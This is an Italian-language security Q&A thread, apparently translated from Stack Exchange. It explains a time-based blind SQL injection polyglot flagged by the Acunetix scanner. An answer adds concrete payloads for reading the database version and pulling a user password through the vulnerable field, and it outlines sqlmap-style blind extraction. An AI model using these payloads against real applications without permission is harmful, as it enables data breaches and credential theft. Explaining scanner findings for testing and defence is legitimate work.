Blind SQL injection con Acunetix Vulnerability Scanner

4

Sto cercando di analizzare i risultati del test per l'iniezione SQL cieca utilizzando lo scanner delle vulnerabilità di Acunetrix.

URL encoded POST input address was set to 
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed: 
if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => 12.062 s

HTTP headers sent to POST were:
address=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&

Se forniamo qualsiasi valore a address , i dati variabili vengono inseriti nelle tabelle. C'è un modo per modificare i dati di intestazione per la variabile di indirizzo in modo che invece di memorizzare i dati, possiamo recuperare i dati ed eseguire operazioni di selezione e conoscere lo schema interno?

Sarebbe anche molto utile se qualcuno potesse aiutarmi a capire gli interni di questa affermazione:

if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/
    
posta Gurunatha Reddy G 20.09.2016 - 05:42
fonte

2 risposte

2

L'affermazione

if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/

in pratica prova tre diversi punti di iniezione contemporaneamente.

1. Quello diretto

    if(now()=sysdate(),sleep(6),0)/*...*/

Se l'input sarebbe interpretato direttamente (senza caratteri di escape) questo sql verrebbe attivato. Il resto della stringa di input sarà commentato.

2. Virgolette singole ".."

    ..'XOR(if(now()=sysdate(),sleep(6),0))OR'..

Se l'input è incapsulato nell'istruzione con virgolette singole, i caratteri all'inizio e alla fine verranno esclusi dal contesto e verrà interpretato lo sql tra di essi.

3. Virgolette doppie ".."

    .."XOR(if(now()=sysdate(),sleep(6),0))OR"*/

Come per le virgolette singole ma funziona per gli input incapsulati tra virgolette doppie.

Come potrebbe apparire la query

Se è PHP che costruisce questa dichiarazione MySQL, potrebbe apparire come una delle seguenti (a seconda del caso che la innesca):

sql = "INSERT INTO tbl_addresses (address,user) VALUES("+$_POST["address"]+",..)"
sql = "INSERT INTO tbl_addresses (address,user) VALUES('"+$_POST["address"]+"',..)"
sql = "INSERT INTO tbl_addresses (address,user) VALUES(\""+$_POST["address"]+"\",..)"

Come funziona

Le dichiarazioni sono le stesse per ogni caso di iniezione.
In primo luogo si confronta se il valore di ritorno della funzione "ora" corrisponde a quello della funzione "sysdate". Se questo è il caso (e dovrebbe essere), la funzione "sleep" verrà chiamata con un tempo di 6 o 0 secondi, con conseguente ritardo che hai osservato.

È possibile sfruttarlo come un'iniezione SQL completamente cieca. Uno strumento come sqlmap ti aiuterà in questo, perché ci vorrebbe un sacco di tempo se lo fai a mano.
Quello che fondamentalmente farà (in forma semplificata), è un problema come:

if ( nth_character_of(password) == "a" , sleep(6), 0)

Dove "nth_character_of" sarà una funzione specifica del database che seleziona un carattere da una stringa e "password" sarà una query che restituisce qualsiasi valore che si desidera recuperare dal database. Utilizzerà anche un metodo ottimizzato per trovare i caratteri corretti.
Se sqlmap sperimenta un ritardo, saprà che il confronto è stato corretto e itera ulteriormente.

Restringendolo

Puoi provare a fornire separatamente ciascuno dei tre casi di iniezione e dare un'occhiata al risultato. In questo modo la stringa di iniezione diventa molto più breve e più facile da modificare e capire.

Che cosa potresti provare

Se il valore viene effettivamente restituito nel frontend, come hai detto in un commento sotto un'altra risposta, quell'iniezione SQL non è puramente cieca.
Potresti riuscire a inserire il tuo valore direttamente in questo modo:

version()/*'+version()+'"+version()+"*/

per recuperare la versione nel frontend o con la tua query in tutte e tre le posizioni come:

(select password from users LIMIT 1)/*'+(select password from users LIMIT 1)+'"+(select password from users LIMIT 1)+"*/

Quello con la query personalizzata potrebbe non funzionare a seconda della codifica necessaria in questa specifica applicazione, ma vale la pena provarlo.

    
risposta data 22.05.2017 - 10:17
fonte
0

[NOTA: vedi thread di commenti - qui c'è in realtà un'iniezione di SQL, come dimostrato dal tempo di viaggio di 12 secondi)

Se tale istruzione viene effettivamente inserita nella colonna dell'indirizzo, probabilmente non si dispone di un'iniezione sql - almeno non è sfruttabile da quella stringa specifica.

Sembra che stia cercando di provocare una pausa in esecuzione che sia rilevabile dal framework di exploit, perché è cieco (non i dati restituiti), è difficile capire dall'esterno se funziona. Ecco perché il sonno.

Tuttavia, un'iniezione avviene non quando i dati vengono inseriti nel posto giusto (se qualcuno inserisce questo nel campo dell'indirizzo, ci si aspetterebbe che finisse nella colonna dell'indirizzo), ma quando i dati sono interpretati come codice . Da quello che stai dicendo, non sta succedendo. Si prega di chiarire se ho frainteso.

    
risposta data 20.09.2016 - 21:15
fonte

Leggi altre domande sui tag